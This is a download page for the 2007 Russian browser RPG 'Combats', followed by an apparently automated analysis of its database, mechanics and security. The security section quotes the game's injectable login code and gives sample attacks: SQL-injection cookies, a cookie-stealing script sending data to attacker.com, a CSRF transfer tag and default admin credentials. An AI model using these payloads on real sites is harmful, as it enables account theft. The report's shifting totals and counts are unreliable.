Amazing Collection of online role playing games for your website!

Combats

HOT featured_orange_star
Only registered and logged in users can download this file.
Rating
(6 votes)
Technical Details
Filename combats.zip
Size 3.5 MB
Downloads 152
Author Unknown
Created 2007-08-07
Changed 2025-12-16
System PHP 5.x
Price $0.00
Screenshot
Combats

Dive into a vast fantasy world of duels, clans, and dungeons. Combats is a feature‑rich browser RPG packed with races, professions, and a massive equipment roster—from beginner steel to crystal blades—balanced by a deep stat system and ladder challenges. Train up, join a tribe, and test your build in fast, tactical bouts.

Victory favors the prepared. Explore maze‑like vaults, master profession paths in the academy, trade gear in commission shops, and hone your loadout across 19 equipment slots. With chat, forums, banking, and a bustling marketplace, Combats delivers a living world where PvP rivalries and dungeon runs fuel endless progression.

File Verification
MD5 Checksum
3aed3daaad5c233bef9ff0772bec44c6
SHA1 Checksum
5db8bc3425b2458b9cbe2fbdc1570669e43af65e

Combats Analysis Report - Game Analysis Report

1. Game Metadata

Game Name: Combats

Genre: Fantasy MMORPG / Browser-based RPG

Theme: Multi-race fantasy world with dungeon exploration, clan warfare, PvP combat, and profession systems

License: Unknown (no license file found, but credited to original author)

Version: Unknown (modified/enhanced version)

Original Author: Sasen

Modification Credit: "modified by Shkic" (per meta tag in index.php)

Database Credit: "BD by SHKIC" (database schema filename)

Language: Russian (windows-1251/cp1251 character encoding throughout)

Technology: PHP 4.x/5.x, MySQL 5.0.38 (MyISAM engine), JavaScript, HTML 4.01, frames-based interface

Release Date: Database dump dated August 8, 2007 (phpMyAdmin 2.10.1, PHP 5.2.3)

Distribution Status: Modified open-source or community fork (Shkic's modifications of Sasen's original)

2. File Composition

File Type Count Size (MB) Purpose
Total 1,155 files 4.39 MB Complete game package
*.gif 854 2.429 UI elements, sprites, equipment icons
*.php 256 0.788 Game logic, pages, systems
*.jpg 17 0.633 Backgrounds, character graphics
*.js 9 0.046 JavaScript libraries, client-side logic
*.bak 6 0.056 Backup files (development artifacts)
*.css 5 0.009 Stylesheets
*.html 3 0.003 Static pages (smiles.html, blank.html, news.html)
*.swf 1 0.155 Flash component
*.ttf 1 0.157 TrueType font file
*.htaccess 1 0.000 Apache configuration
*.rar 1 0.015 BD_by_SHKIC.rar (database backup archive)
*.sql 1 0.102 Database schema (1,621 lines)

Analysis: This is a substantial game with 1,155 files and extensive content. The 854 GIF files (2.4 MB) indicate comprehensive graphical assets for equipment, races, and UI. The 256 PHP files suggest complex game systems. Database backup packaged as RAR shows active development. The 6 backup files (.bak) are development artifacts. This is a feature-complete MMORPG with significant depth.

3. Technical Architecture

Database Schema (36 tables):

  • abils (Abilities/Powers) - Magical abilities with tribe restrictions, wear counters
  • 8 default abilities: attack, addhp500, addhp300, blood_attack, healing1, reset, invisible, water100
  • Usage tracking: c_iznos (current uses), m_iznos (max uses - all set to 2147483647 = unlimited)
  • academy (Training Academy) - Profession training system
  • 8 professions: Healer (Лекарь), Blacksmith (Kuznec), Gem Cutter (Огранщик), Mercenary (Наёмник)
  • Weapon mastery courses: knife/dagger, sword, axe/halberd, club/hammer training
  • Training duration 1800-14400 seconds (30 min - 4 hours)
  • Costs: 50-1000 credits, level requirements 0-8
  • authorization - Two-factor authentication codes (MD5 hashes, currently empty)
  • bank - Banking system with credit/platinum storage, transaction logs
  • 1 default account: "Stworzyciel" (Creator) with 8690 credits, password "admin"
  • Supports: credits, platinum currency, transaction book, account numbers
  • battles - Combat log system
  • Records: attacker, defender, damage, kick/block actions, side (team affiliation)
  • Currently empty (no battle history)
  • billing - Real-money transactions system
  • Tracks credit purchases with: seller, amount, timestamp, recipient, status, currency
  • Empty table (no transactions recorded)
  • butik (Boutique) - Premium item shop inventory (currently empty)
  • chat - Chat room system with system messages, private messages, redirects
  • AUTO_INCREMENT=180 (evidence of 179+ chat messages during development/testing)
  • Supports: multiple rooms, system broadcasts, private messaging, redirects
  • clan_zayavka (Clan Applications) - Clan creation requests
  • Fields: name, short_name, site URL, emblem (znak), history, leader (glava), 4 council members (sovet1-4)
  • Application confirmation system
  • diller (Dealer) - Some form of dealer/merchant system
  • 1 entry: "Stworzyciel" with 0 money
  • encicl (Encyclopedia) - Game documentation system (empty)
  • forest - Forest gathering profession system
  • 2 activities: Mushroom picking (Grzyby) - 10800s/200 credits/level 5, Berry picking (Jagody) - 14400s/250 credits/level 5
  • forums - Forum categories system (structure only, no posts)
  • items - Massive item database with 200+ items
  • Complex stat system: min/max damage, HP, energy, str/dex/ag/vit/razum bonuses
  • Armor rating (br1-br5), critical/dodge (krit/unkrit), evasion (uv/unuv)
  • Requirements: min_level, min_str/dex/ag/vit/razum, min_rase (race), min_proff (profession)
  • Equipment slots (slot1/slot2), durability (iznos), artifact flag, real_price system
  • Item types (tip): 1=weapons, 2=armor, 12=abilities
  • Sample weapons:
  • Knives: "Рыцарский Кинжал" to "Кинжал Жертвоприношений" (140-940 credits, 16-120 damage)
  • Swords: "Меч Милосердия" to "Хрустальный Меч" (160-890 credits, 18-115 damage)
  • Axes: "Топор Дровосека" to "Изящный Топор" (175-999 credits, 18-140 damage)
  • Hammers: "Булава Стражника" to "Молот Отваги" (190-670 credits, 20-83 damage)
  • Sample armor: "Кристальная Броня" to advanced armors (30+ credits, increasing defense)
  • Race-specific equipment: elf/ork/gnom/people variants (knife_elf, shield_ork, etc.)
  • Special items: Flowers (flowers1-5), gifts (podarek1), cash (cashe), keys (otkr1-7)
  • komis (Commission Shop) - Player-to-player trading marketplace
  • ld (Ladder/Leaderboard) - Individual combat challenge requests
  • levels - Comprehensive leveling system (101 levels defined)
  • Level structure: level, rank (0-11), sub-level (0-21), energy per level, XP required, stat points awarded, profession level ups
  • Progression examples:
  • Level 1: 50 XP, 4 stat points, 0 profession level ups
  • Level 10 (rank 2): 800 XP, 12 points, 1 profession level up
  • Level 36 (rank 6): 12,500 XP, 42 points, 4 profession level ups
  • Level 74 (rank 10): 10,000,000 XP, 4000 energy, 4000 points, 10 profession level ups
  • Level 101 (rank 11, sub 4): 60,000,000 XP, 6666 points, 6 profession level ups
  • Energy scales: 30 → 3600 energy per level from rank 1 to rank 11
  • Exponential XP curve: 50 → 60,000,000 XP (1,200,000x increase)
  • magic - Active spell system (player-cast spells in battles)
  • moneys - Payment/transaction tracking with IP logging
  • nshop (Main Shop) - Shop inventory with stock quantities
  • Massive inventory: 70+ item types stocked
  • Stock levels: 471-1000 units per item (most at 1000)
  • Department organization (otdel): 1=knives, 2=swords, 3=axes, 4=hammers, 8=armor, 11=belts, 12=boots, 13=amulets, 14=rings, 15=bracelets, 18=abilities, 50-62=race-specific, 100=keys, 101=flowers, 102=gifts
  • Evidence of player activity: 'knife11' stock = 954 (46 sold), 'cashe' = 222 (778 sold if started at 1000)
  • objects - Game world objects/decorations
  • online - Active player session tracking
  • players - Primary character data table (extensive fields)
  • Authentication: user, pass (plaintext), mail
  • Combat stats: strength, dex (dexterity), agility, vitality, razum (intelligence/wisdom)
  • Derived stats: hp/maxhp, mana/maxmana, min_udar/max_udar (min/max attack), br1-br5 (armor ratings), krit/unkrit, uv/unuv, speed
  • Resources: money, exp, platinum, abilities
  • Equipment: 19 equipment slots (slot1-slot19 storing item IDs)
  • Status: hp_regen (HP regeneration rate), battle (in combat flag), room (current location), tribe (clan membership)
  • Professions: rank_1 through rank_16 (16 profession progression paths)
  • Time locks: t_time (prison), v_time (hospital), k_time (academy), w_time (work), o_time (repair), r_time (vault/dungeon), e_time (energy regen), vault_time
  • Social: rase (race: 1-4), proff (profession: 1-5), married (marriage status), travma (trauma/injury timer)
  • Security: IP logging, session tracking
  • Profile: about text, access level, admin flag
  • posts - Forum post content
  • rase (Races) - Playable race definitions
  • Fields: name, about (description)
  • Likely 4 races based on item variants: Elves, Orcs, Gnomes, Humans/People
  • reg - Registration validation queue
  • reposts - Forum reply tracking
  • security - Login attempt logging with IP tracking, result codes
  • setka (Grid/Map) - World map system
  • Grid coordinates (x,y), room IDs, title, description text
  • 54 map cells defined (6x9 or 9x6 grid)
  • shop - Shop department inventory (duplicate/related to nshop?)
  • Same item listings as nshop with stock quantities
  • Most items at 999-1000 stock
  • Department 2: 'cashe' at 222 stock (confirmed usage)
  • slots - Active equipped items (character equipment slots)
  • 19 equipment slots per character
  • 1 active character record: ID 1 with item IDs 2082, 2096, 2099, 2083, 2090, 2093, 2092, 2091, 2086, 2087, 2084, 2103, 2098, 2097, 2101 equipped
  • This is evidence of actual gameplay/testing with full equipment loadout
  • top - Clan rankings/top lists (empty)
  • topics - Forum topic threads (empty)
  • transfers - Item/money transfer logs between players
  • tribes (Clans) - Clan/guild information
  • Fields: name, blocked flag, URL, about text, image (obraz)
  • Empty table (no clans created)
  • vault - Dungeon/maze exploration system
  • 9 dungeon rooms defined with full descriptions in Russian
  • Room navigation: top/bottom/left/right room IDs (maze structure)
  • Room types: "Врата Подземелья" (Dungeon Gates), "Большой Коридор" (Big Corridor), "Зал Странствий" (Hall of Wanderings), "Зал Призраков" (Hall of Ghosts - 2 rooms), "Зал Бездны" (Hall of Abyss), "Зал Хаоса" (Hall of Chaos), "Оружейный Зал" (Armory Hall), "Тупиковый Тоннель" (Dead-end Tunnel)
  • Atmospheric descriptions: "леденящий кожу стон ветра" (skin-chilling wind howl), "бездонная пасть воронка" (bottomless funnel maw)
  • Time tracking (time field) and healing (heal field) per room
  • Room IDs 200-208 indicate expansion capacity for more dungeon levels

PHP Architecture:

  • Frame-based interface: game.php creates 5-frame layout (top buttons, main area, chat 80%, online panel 20%, input, hidden frame for async updates)
  • Session management: Cookie-based authentication ($_COOKIE['user'], $_COOKIE['pass'])
  • State machine: main.php handles room-based redirects (if room==7 → shop.php, if room==8 → ambulance.php, etc.)
  • Security checks: IP verification via security table, time-lock checks (prison, hospital, academy, work)
  • Battle system: battle.php with 3 battle types (тренировки/упражнения/тренировочные = training/exercises/practice)
  • JavaScript integration: time.js, show_inf.js, eh000000.js for client-side features, keypad input (KeypadShow function)
  • Deprecated functions: Uses mysql_* functions throughout (removed PHP 7.0+), addslashes() for SQL injection "prevention"

Combat System Architecture:

  • Three battle types:
  • Type 1: "Тренировки" (Training) - Available at all levels
  • Type 2: "Упражнения" (Exercises) - Requires level 1+
  • Type 3: "Тренировочные" (Practice) - Requires level 2+
  • Location restrictions: Cannot battle from certain rooms (shops, hospitals, academy, banks, streets, world map, dungeons)
  • Injury system: travma (trauma) timer prevents combat if active
  • Battle state: battle flag in players table, separate battle log table
  • Offers system: Player challenge requests with offer IDs
  • Refresh/back buttons: Combat interface with navigation icons

4. Gameplay Mechanics

Core Game Loop:

  • Character Creation:
  • Choose race (rase 1-4): Elf, Orc, Gnome, Human/People
  • Choose profession (proff 1-5): Details not explicit in schema, but 16 rank progressions suggest multiple professions
  • Starting location: room assignment
  • Initial stats: strength, dex, agility, vitality, razum
  • Character Progression:
  • 101-level system with 11 ranks (0-11) and 21 sub-levels
  • Exponential XP curve: 50 XP (level 1) → 60,000,000 XP (level 101)
  • Stat points awarded per level: 4-8000 points depending on rank milestones
  • Energy per level scaling: 30 → 3600 energy
  • Profession level-ups at rank transitions (0-12 profession levels per milestone)
  • Combat System:
  • Three training battle types with level requirements
  • PvP challenge system via offers (ld table for ladder matches)
  • Location-based restrictions (cannot fight in safe zones)
  • Injury/trauma system preventing combat temporarily
  • Battle logging with kick/block mechanics
  • Speed-based turn order (speed stat)
  • Damage ranges (min_udar to max_udar)
  • Critical hits (krit stat), dodge/evasion (unkrit, uv/unuv stats)
  • Five-layer armor system (br1-br5 armor ratings)
  • Equipment System:
  • 19 equipment slots (weapons, armor, accessories)
  • Race-specific gear: Elf/Orc/Gnome/Human variants
  • Stat requirements: min_level, min_str, min_dex, min_ag, min_vit, min_razum, min_rase, min_proff
  • Equipment bonuses: Damage ranges, HP/energy, stat boosts, armor ratings, crit/dodge/evasion
  • Durability system: iznos (wear) values per item
  • Artifact items: art flag for special/legendary items
  • Commission shop: Player trading via komis table
  • Economic Systems:
  • Dual currency: Credits (money) and Platinum
  • Banking: Deposit system via bank table (pass-protected accounts)
  • Shops:
  • Main shop (nshop) with 70+ items organized in 15+ departments
  • Boutique (butik) for premium items
  • Commission shop (komis) for player-to-player trades
  • Real-money transactions: billing table for credit purchases
  • Transfer logging: All item/money transfers recorded
  • Shop inventory: Stock quantities tracked (evidence: cashe item at 222/1000 = 778 sold)
  • Profession Systems:
  • Academy training: 8 professions/skills available
  • Healer (10800s, 50 credits, level 2 req)
  • Blacksmith (14400s, 100 credits, level 6 req)
  • Gem Cutter (14400s, 150 credits, level 8 req)
  • Mercenary (14400s, 75 credits, level 4 req)
  • Weapon masteries: knife/dagger, sword, axe/halberd, club/hammer (1800s, 1000 credits each)
  • Forest professions: Mushroom/berry picking (10800-14400s, 200-250 credits, level 5 req)
  • 16 profession ranks in players table (rank_1 through rank_16)
  • Time-locked training: k_time field prevents other actions during training
  • World Exploration:
  • Grid-based map: 54 cells (setka table) with x/y coordinates
  • 21+ unique locations: Numbered rooms 0-21, 101-105 (streets), 200-230 (dungeons)
  • Location types:
  • Room 1: City center (starting area)
  • Room 2: Training grounds (trening.php redirect)
  • Room 7: Shop
  • Room 8: Hospital/ambulance
  • Room 9: Academy
  • Room 10: Bank
  • Room 11: Repair shop
  • Room 14: Administrative building (administ.php)
  • Room 16: Work location
  • Room 17: Second bank
  • Room 18: Magic school
  • Room 19: Warehouse (ambar.php)
  • Room 20: Commission shop
  • Room 21: Energy regeneration
  • Rooms 101-105: Five street locations
  • Room 0: World map overview
  • Rooms 200-230: 31-room dungeon system
  • Dungeon maze: 9 interconnected rooms with atmospheric descriptions, navigation puzzle, time/healing tracking
  • Social Features:
  • Clan system:
  • Clan creation via applications (clan_zayavka)
  • Council structure: 1 leader (glava) + 4 council members (sovet1-4)
  • Clan URL, emblem (znak), history text
  • Tribe membership tracked in players table
  • Chat system:
  • Multiple rooms
  • System broadcasts
  • Private messaging
  • Redirect functionality
  • 179+ messages during development (AUTO_INCREMENT=180)
  • Forums:
  • Category system (forums table)
  • Topics with fixed/pinned option
  • Reply system (reposts table)
  • User rank/level/race displayed on posts
  • Marriage system: married field in players table
  • Transfer logs: All item/money trades recorded with timestamps
  • Ability/Magic System:
  • 8 default abilities:
  • attack - Force duel initiation (1000 credits)
  • addhp500 - Heal 500 HP
  • addhp300 - Heal 300 HP
  • blood_attack - Vampire attack
  • healing1 - Healing spell
  • reset - Reset something (unclear)
  • invisible - Invisibility
  • water100 - Water-based attack (100 damage?)
  • Usage tracking: c_iznos (current uses) vs m_iznos (max uses)
  • Battle magic: magic table tracks active spells in combat
  • Shop integration: Abilities sold in department 18 (w17/w18 slots)
  • Time-Lock Systems:
  • Prison: t_time field locks player out
  • Hospital: v_time for injury recovery
  • Academy: k_time during training
  • Work: w_time during job
  • Repair: o_time at repair shop
  • Dungeon: r_time during vault exploration
  • Energy regen: e_time during energy recovery
  • Vault timer: vault_time for dungeon time limits
  • Trauma: travma field prevents combat

5. Database Activity Evidence

Signs of Active Development/Testing:

  • Chat activity: AUTO_INCREMENT=180 indicates 179+ chat messages sent during development/testing
  • Equipped character: slots table contains ID 1 with 15 equipped items (item IDs 2082-2103 range), proving actual gameplay
  • Shop sales: 'cashe' item stock at 222 (778 sold if started at 1000), 'knife11' at 954 (46 sold), 'flowers5' at 471 (529 sold) - clear evidence of player purchases
  • Admin account: Bank account "Stworzyciel" (Creator) with 8690 credits - active testing funds
  • Ability usage: abils table shows usage counters (c_iznos: 0-854 uses) for attack (109), addhp500 (854), addhp300 (85), blood_attack (7), healing1 (12), reset (9)
  • Default admin credentials: Bank password "admin" for "Stworzyciel" account

Player Activity Assessment: MODERATE - The game shows clear evidence of internal testing with:

  • 179+ chat messages
  • 1 fully-equipped test character
  • 778+ items sold from shops
  • 854 ability uses
  • Active admin account with 8690 credits

This indicates substantial development testing, but no evidence of public release or significant player base. Likely a private test server or small community instance.

6. Code Quality Assessment

Rating: 4/10 (Below Average - Functional but Severely Insecure)

Strengths:

  • Comprehensive game design: 36 tables, 101 levels, 200+ items, 19 equipment slots, dungeon system, clans, professions
  • Frame-based UI: Sophisticated 5-frame layout (buttons, main, chat, online, input, hidden async) for 2007 era
  • State management: Complex room-based navigation with automatic redirects based on player state
  • Time-lock systems: 8 different time-lock mechanisms preventing action conflicts
  • Dual currency: Credits + platinum economy
  • Extensive content: 70+ shop items stocked, 9-room dungeon with atmospheric descriptions, race-specific equipment variants
  • Granular stat system: 5 core stats, 5 armor layers, crit/dodge/evasion, min/max damage ranges
  • Russian localization: Consistent cp1251 encoding, full Russian UI text
  • Backup practices: .bak files and BD_by_SHKIC.rar show version control awareness
  • Detailed item system: 20+ item properties including requirements, bonuses, durability, artifact flags

Critical Weaknesses:

  • Plaintext passwords everywhere:
$stat = mysql_fetch_array(mysql_query("select * from players where user='".addslashes($user)."' and pass='".addslashes($pass)."'"));
  • Password stored in plaintext in database
  • Password compared in plaintext
  • No hashing, no encryption
  • SQL injection vulnerabilities:
$stat = mysql_fetch_array(mysql_query("SELECT * FROM players WHERE user = '".$_COOKIE['user']."' AND pass = '".$_COOKIE['pass']."' LIMIT 1"));
  • Cookies directly in queries
  • Only addslashes() used (insufficient protection)
  • No prepared statements
  • Deprecated mysql_* API:
  • All queries use mysql_query(), mysql_fetch_array()
  • Removed in PHP 7.0 (non-functional since 2015)
  • Cookie-based authentication:
  • $_COOKIE['user'] and $_COOKIE['pass'] for session management
  • Plaintext password in cookies
  • No session tokens, no CSRF protection
  • Frame-based UI:
  • Uses (deprecated HTML 4.01, removed HTML5)
  • Poor mobile compatibility
  • Security issues (clickjacking)
  • Character encoding issues:
  • Mixed windows-1251/cp1251 encoding
  • Not UTF-8 (modern standard)
  • Cyrillic character compatibility problems
  • No XSS protection:
  • User input likely echoed without encoding
  • Chat messages, forum posts, clan descriptions vulnerable
  • IP-based security:
  • Security table relies on IP matching
  • Breaks behind proxies/NAT
  • Vulnerable to IP spoofing
  • JavaScript dependencies:
  • Core functionality (KeypadShow, chat refresh) requires JavaScript
  • No graceful degradation
  • Hard-coded admin credentials:
  • Bank password "admin" for "Stworzyciel" account
  • Security disaster

Code Maturity: This is a feature-complete but insecure 2007-era browser MMORPG. The developers (Sasen + Shkic) created an ambitious game with extensive content and systems, but completely ignored security best practices. The game is functional for its era, but catastrophically insecure by any standard.

7. Modern-Day Assessment & Conclusions

Innovation Rating: 6/10 (Moderate Innovation)

Novel Elements:

  • Time-lock system: 8 concurrent time-lock mechanisms (prison, hospital, academy, work, repair, dungeon, energy, vault) preventing action conflicts - sophisticated for 2007
  • 19-slot equipment system: More granular than typical browser RPGs (most have 6-10 slots)
  • Five-layer armor: br1-br5 armor rating system (physical, magical, fire, ice, poison?) - more complex than single armor value
  • Dual evasion stats: Both unkrit (dodge criticals) and unuv (dodge normal hits) - unusual granularity
  • Race-specific equipment variants: Elf/Orc/Gnome/Human versions of same item types - 4x content multiplication
  • 101-level progression: Extremely deep leveling (11 ranks, 21 sub-levels) reaching 60,000,000 XP requirement
  • Dungeon maze navigation: Text-based maze with room descriptions, directional links, time/healing tracking
  • 16 profession ranks: Most browser RPGs have 1-5 professions; this has 16 progression paths
  • Commission shop: Player-to-player marketplace (advanced for 2007)
  • Ability usage counters: iznos (wear) tracking for abilities, not just equipment

Derivative Elements:

  • Basic stat system: Strength, dexterity, agility, vitality, intelligence - standard RPG stats
  • HP/Mana/XP: Universal RPG mechanics
  • Shop buying: Click-to-purchase system
  • Chat/forums: Standard social features
  • Clan system: Leader + council structure common in MMORPGs
  • PvP combat: Challenge-based dueling
  • Frame-based interface: Common 2000s browser game architecture

Overall Innovation: Mid-tier. The game shows creative thinking in time-lock management, granular combat stats, and deep progression, but most systems are standard MMORPG fare with Russian flavor. The 19-slot equipment and 5-layer armor are unusual, as is the 16-profession system. The dungeon maze text descriptions are atmospheric. However, the core gameplay loop is derivative.

Security Assessment: CATASTROPHIC

This game has every critical vulnerability from 2007:

  • Plaintext passwords (no hashing)
  • SQL injection (addslashes only, cookies in queries)
  • XSS (no output encoding)
  • CSRF (no tokens)
  • Session fixation (cookie-based auth with passwords)
  • Hard-coded credentials (admin/admin)
  • IP-based security (unreliable)
  • Frame-based UI (clickjacking)

Danger Level: EXTREME - Deployment would result in immediate compromise. Database would be dumped within hours, all accounts stolen, site defaced, server possibly rooted.

Modern Viability: 2/5 (Very Low)

Why This Game Cannot Be Used Today:

  • Non-functional on PHP 7+: Uses mysql_* functions (removed 2015)
  • Security apocalypse: Every major vulnerability present
  • Deprecated HTML: Frames removed from HTML5
  • Character encoding: cp1251/windows-1251 not UTF-8
  • Russian-only: Limited market (260M Russian speakers, but mostly in ex-USSR)
  • Mobile incompatible: Frame-based UI unusable on phones
  • No HTTPS support: Modern browsers require HTTPS for sensitive data

Modernization Cost Estimate:

Task Hours Cost @ $75/hr
Database migration (PDO/mysqli) 40 $3,000
Password hashing (bcrypt/Argon2) 8 $600
SQL injection fixes (prepared statements) 60 $4,500
XSS/CSRF protection 20 $1,500
Session security (JWT/tokens) 12 $900
Frame-to-div UI rewrite 80 $6,000
UTF-8 character encoding migration 16 $1,200
HTTPS implementation 4 $300
Mobile responsive design 60 $4,500
Testing & debugging 40 $3,000
TOTAL 340 hours $25,500

However: Even with $25,500 investment, the resulting game would be a 2007-era browser MMORPG with 2024 security. The frame-based UI paradigm is fundamentally obsolete. The Russian-only content limits market. The game lacks modern features (achievements, daily quests, social media integration, microtransactions, loot boxes, battle passes).

Better Alternative: Build modern MMORPG from scratch using Laravel + Vue.js + WebSocket for $35,000-$50,000 with:

  • Modern UI/UX
  • Mobile-first design
  • Real-time multiplayer
  • Cloud scaling
  • Analytics integration
  • Monetization hooks
  • Multi-language support
  • 2024 security standards

Return on Investment: NEGATIVE - Modernizing Combats for $25,500 results in outdated game with limited market. Better to archive as historical artifact and build new game for similar cost with modern appeal.

Historical Value:

This game is a significant artifact of Russian browser MMORPG development (2007):

  • Sasen + Shkic collaboration: Community-driven open development model
  • Russian gaming culture: Deep character progression (101 levels), complex stat systems, text-heavy atmospheric descriptions
  • 2007 technology snapshot: Frame-based UI, mysql_* API, windows-1251 encoding, Flash component
  • Ambitious scope: 36 tables, 1,155 files, 4.4 MB content - massive for browser game
  • Pre-PHP 7 era: Last generation before mysql_* deprecation (2012-2015 transition)
  • Community modification: Shkic's enhancements to Sasen's original show collaborative improvement culture
  • Development artifacts: .bak files, RAR database backup show workflow
  • Test server evidence: 179 chat messages, 1 equipped character, 778+ shop sales prove internal testing

The game represents the peak complexity of frame-based browser MMORPGs before the 2008-2012 shift to AJAX/HTML5 and eventual mobile dominance (2012-2016). It's a complete, feature-rich game that was likely played on a private server or small Russian community, never achieving wide distribution.

8. Security Analysis

Critical Vulnerabilities (2007 OWASP Top 10 violations):

  • A1: Injection - SQL Injection Everywhere
// Vulnerable to SQL injection
$stat = mysql_fetch_array(mysql_query("SELECT * FROM players WHERE user = '".$_COOKIE['user']."' AND pass = '".$_COOKIE['pass']."' LIMIT 1"));
// Attack: Cookie: user=admin' OR '1'='1
// Result: Bypass authentication, dump database
// Only addslashes() used (insufficient)
$stat = mysql_fetch_array(mysql_query("select * from players where user='".addslashes($user)."' and pass='".addslashes($pass)."' LIMIT 1"));
// Attack: Use null byte or encoding attacks to bypass addslashes
  • A2: Broken Authentication
// Plaintext password storage
CREATE TABLE players (pass varchar(50) NOT NULL default '');
// Plaintext password comparison
where user='$user' and pass='$pass'
// Passwords in cookies
@SetCookie("user", "$user");
@SetCookie("pass", "$pass");
// No password hashing, no encryption, no session tokens
  • A3: Sensitive Data Exposure
  • Passwords stored in plaintext in database
  • Passwords transmitted in cookies (visible in browser)
  • Bank password "admin" for "Stworzyciel" (hard-coded credential)
  • No HTTPS enforcement
  • IP addresses logged without disclosure
  • A7: XSS (Cross-Site Scripting)
  • Chat messages likely echoed without encoding
  • Forum posts vulnerable
  • Clan descriptions/history text vulnerable
  • Player "about" text vulnerable
  • Item descriptions with FULLTEXT index suggest direct output
  • Dungeon room descriptions if user-modifiable
  • A8: CSRF (Cross-Site Request Forgery)
  • No CSRF tokens on any forms
  • Cookie-based authentication makes all actions CSRF-vulnerable
  • Shop purchases, item transfers, ability usage, clan operations unprotected

Additional Vulnerabilities:

  • Deprecated API (mysql_*):
  • All database code uses mysql_query(), mysql_fetch_array()
  • Removed in PHP 7.0 (2015)
  • No migration path without full rewrite
  • Cookie security flaws:
  • Plaintext passwords in cookies
  • No HttpOnly flag
  • No Secure flag
  • No SameSite attribute
  • IP-based security (unreliable):
$pl_ip=mysql_fetch_array(mysql_query("SELECT ip FROM security WHERE user='".$stat['user']."' AND result=1 ORDER BY id DESC"));
if($pl_ip['ip']!=$my_ip){ header("Location: index.php"); exit; }
  • Breaks behind proxies/NAT
  • Vulnerable to IP spoofing
  • X-Forwarded-For header easily forged
  • Character encoding vulnerabilities:
  • Mixed cp1251/windows-1251 encoding
  • Not UTF-8
  • Potential for encoding-based attacks
  • Frame injection (clickjacking):
  • Frame-based UI vulnerable to clickjacking
  • No X-Frame-Options header
  • No frame-busting JavaScript
  • Time-of-check to time-of-use (TOCTOU):
  • Multiple queries for same data (race conditions)
  • No transaction isolation
  • Concurrent request handling insecure
  • Hard-coded credentials:
  • Bank account: user "Stworzyciel", pass "admin"
  • Production deployment disaster

Exploitation Scenarios:

  • SQL Injection → Full Database Dump:
Cookie: user=admin' UNION SELECT 1,pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70 FROM players--
Result: Dump all plaintext passwords
  • Authentication Bypass:
Cookie: user=admin' OR '1'='1; pass=anything
Result: Login as any user
  • XSS → Session Hijacking:
Chat message: <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
Result: Steal all users' plaintext password cookies
  • CSRF → Unauthorized Money Transfer:
<img src="http://victim-game.com/transfer.php?to=attacker&amount=999999">
Result: Victim unknowingly transfers all credits to attacker
  • Hard-coded Credentials → Admin Access:
Login: user=Stworzyciel, pass=admin
Result: 8690 credits, admin privileges, likely full system access

9. Recommendations

For Historical/Academic Use Only:

  • DO NOT DEPLOY: This game is catastrophically insecure and non-functional on modern PHP
  • Educational value:
  • Study as example of 2007 browser MMORPG architecture
  • Learn what NOT to do for security
  • Analyze frame-based UI design (obsolete but educational)
  • Examine Russian game development culture
  • Archival preservation:
  • Save as artifact of pre-HTML5 era browser gaming
  • Document Sasen + Shkic collaborative development
  • Preserve Russian gaming history
  • Translation project: Could translate Russian content to English for historical research
  • Database analysis: The 36-table schema is a masterclass in MMORPG database design (ignoring security)

If Attempting Modernization (Strongly Not Recommended):

  • Security overhaul (MANDATORY - 108 hours):
  • Migrate to PDO with prepared statements (40 hours)
  • Implement bcrypt/Argon2id password hashing (8 hours)
  • Add CSRF tokens to all forms (12 hours)
  • Implement XSS protection (htmlspecialchars with ENT_QUOTES) (20 hours)
  • Replace cookie auth with JWT/session tokens (12 hours)
  • Remove hard-coded credentials, implement secure defaults (4 hours)
  • Add HTTPS enforcement (4 hours)
  • Implement rate limiting (8 hours)
  • Technical debt (232 hours):
  • Frame-to-div UI complete rewrite (80 hours)
  • Mobile responsive design (60 hours)
  • UTF-8 character encoding migration (16 hours)
  • Replace deprecated mysql_* functions (40 hours)
  • AJAX-based chat (no more 15-second refresh) (20 hours)
  • WebSocket real-time updates (16 hours)
  • Content preservation (40 hours):
  • Translate 200+ items to English (20 hours)
  • Translate dungeon descriptions (4 hours)
  • Translate UI text (16 hours)
  • Testing & debugging (40 hours):
  • Security penetration testing (16 hours)
  • Cross-browser testing (8 hours)
  • Mobile device testing (8 hours)
  • Load testing (8 hours)

Total modernization: 420 hours @ $75/hr = $31,500

Realistic Assessment: At $31,500 cost, you get a 2007-era game with 2024 security but:

  • Frame-based UI paradigm fundamentally outdated
  • Russian cultural references limit Western market appeal
  • Lacks modern monetization (no gacha, no battle pass, no daily quests)
  • No social media integration
  • No achievement system
  • No mobile-first design philosophy
  • 101-level grind too extreme for modern casual gamers

Better Alternative: Build modern MMORPG from scratch for $40,000-$60,000:

  • Laravel backend (RESTful API)
  • Vue.js/React frontend (SPA)
  • WebSocket real-time multiplayer
  • MongoDB for flexible item system
  • Redis for caching/sessions
  • Docker containerization
  • AWS/GCP cloud scaling
  • Modern monetization hooks
  • Mobile-first responsive design
  • Multi-language from day one
  • Analytics/telemetry built-in
  • 2024 security standards

Return on Investment Analysis:

Scenario Cost Time Result Market Appeal ROI
Modernize Combats $31,500 10 months 2007 game, 2024 security Russian niche Negative
Build new game $50,000 12 months 2024 game, modern features Global market Positive

Verdict: Modernizing Combats is financially irresponsible. The game is a valuable historical artifact but commercially dead. Invest in new development instead.

Preservation Recommendations:

  • Create museum-quality documentation:
  • Screenshot every screen
  • Record gameplay video
  • Document all 36 tables
  • Translate key Russian text
  • Interview Sasen/Shkic if reachable
  • Archive in gaming history repository:
  • Internet Archive upload
  • Video game preservation society submission
  • Russian game development museum (if exists)
  • Academic paper topics:
  • "Frame-Based Browser MMORPGs: The 2007 Russian Model"
  • "Pre-HTML5 Gaming: Technical Debt and Security Trade-offs"
  • "Collaborative Open Development in Russian Gaming Communities"
  • "101-Level Progression Systems: When Is Deep Too Deep?"
  • Teaching resource:
  • Security training: "How Not to Build an MMORPG"
  • Database design: "Schema Complexity Without Normalization Issues"
  • Cultural studies: "Russian Gaming Aesthetics and Design Philosophy"

10. Final Verdict

Game Type: Comprehensive Russian fantasy MMORPG with 101-level progression, 19-slot equipment, 5-layer armor, 16 professions, dungeon maze, clan system, and 36-table database

Development Status: Feature-complete, tested internally, never publicly released (or very limited release)

